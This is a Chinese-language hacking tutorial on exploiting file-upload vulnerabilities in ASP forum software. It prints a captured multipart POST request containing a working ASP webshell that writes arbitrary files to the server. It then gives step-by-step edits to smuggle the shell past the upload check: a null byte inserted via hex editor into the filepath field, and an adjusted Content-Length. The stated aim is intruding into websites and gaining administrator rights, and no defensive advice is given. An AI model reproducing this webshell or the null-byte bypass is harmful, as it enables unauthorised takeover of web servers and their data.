解析上傳漏洞欺騙技術
實際上網絡中存在著很多的漏洞,通過這些漏洞的利用黑客就可能會入侵網站的服務器,取得管理員權限。其中不少的程序都存在著上傳漏洞,通過上傳漏洞黑客入侵者便可以上傳一個ASP木馬,然后通過上傳漏洞欺騙技術來達到自己入侵的目的。接下來本篇文章就講分析一下上傳漏洞欺騙的具體原理。
POST /bbs/upfile.asp HTTP/1.1
……. 省略了N多沒用信息
- Content-Length: 1792
- Connection: Keep-Alive
- Cache-Control: no-cache
- Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="filepath"
- uploadFace
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="act"
- upload
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="file1";
- filename="E:\木馬\asp\shell.asp"
- Content-Type: text/plain
- <% dim objFSO %>
- <% dim fdata %>
- <% dim objCountFile %>
- <% on error resume next %>
- <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
- <% if Trim(request("syfdpath"))<>"" then %>
- <% fdata = request("cyfddata") %>
- <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
- <% objCountFile.Write fdata %>
- <% if err =0 then %>
- <% response.write "<font color=red><h2>成功!</h2><font>" %>
- <% else %>
- <% response.write "<font color=red><h1>失敗!</h1></font>" %>
- <% end if %>
- <% err.clear %>
- <% end if %>
- <% objCountFile.Close %>
- <% Set objCountFile=Nothing %>
- <% Set objFSO = Nothing %>
- <% Response.write "<form action='' method=post>" %>
- <% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
- <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
- <% Response.Write "<br>" %>
- <% Response.write "地址來自" %>
- <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
- <% Response.write "<br>" %>
- <% Response.write "你的留言:" %>
- <% Response.write "<textarea name=cyfddata
- cols=80 rows=10 width=32></textarea>" %>
- <% Response.write "<input type=submit value=sky!!>" %>
- <% Response.write "</form>" %>
-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"
E:\木馬\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"
上傳
-----------------------------7d52191850242--
傳遞的信息我們獲取了,下面就來修改下達到上傳漏洞欺騙目的。主要修改一下幾點:
1.Content-Disposition: form-data; name="file1"; filename="E:\木馬\asp\shell.asp"
2.Content-Disposition: form-data; name="fname"
E:\木馬\asp\shell.asp
3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我們修改成uploadFace\shell.asp后面怎么加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為'\0'這個字符也占一個位置,所以我們先打入一空格,然后再在UltraEdit(用Ctrl+H轉換到16進制模式下)里將就空格符的20改成00)。
4.還有一個地方也要修改,就是這句Content-Length: 1792表示提交數據的字符個數。
如果你修改了filepath的值那么這個長度1792也要變換,一個字母或者數字的長度就是1,不要忘記最后面那個空格那個也算1。
【編輯推薦】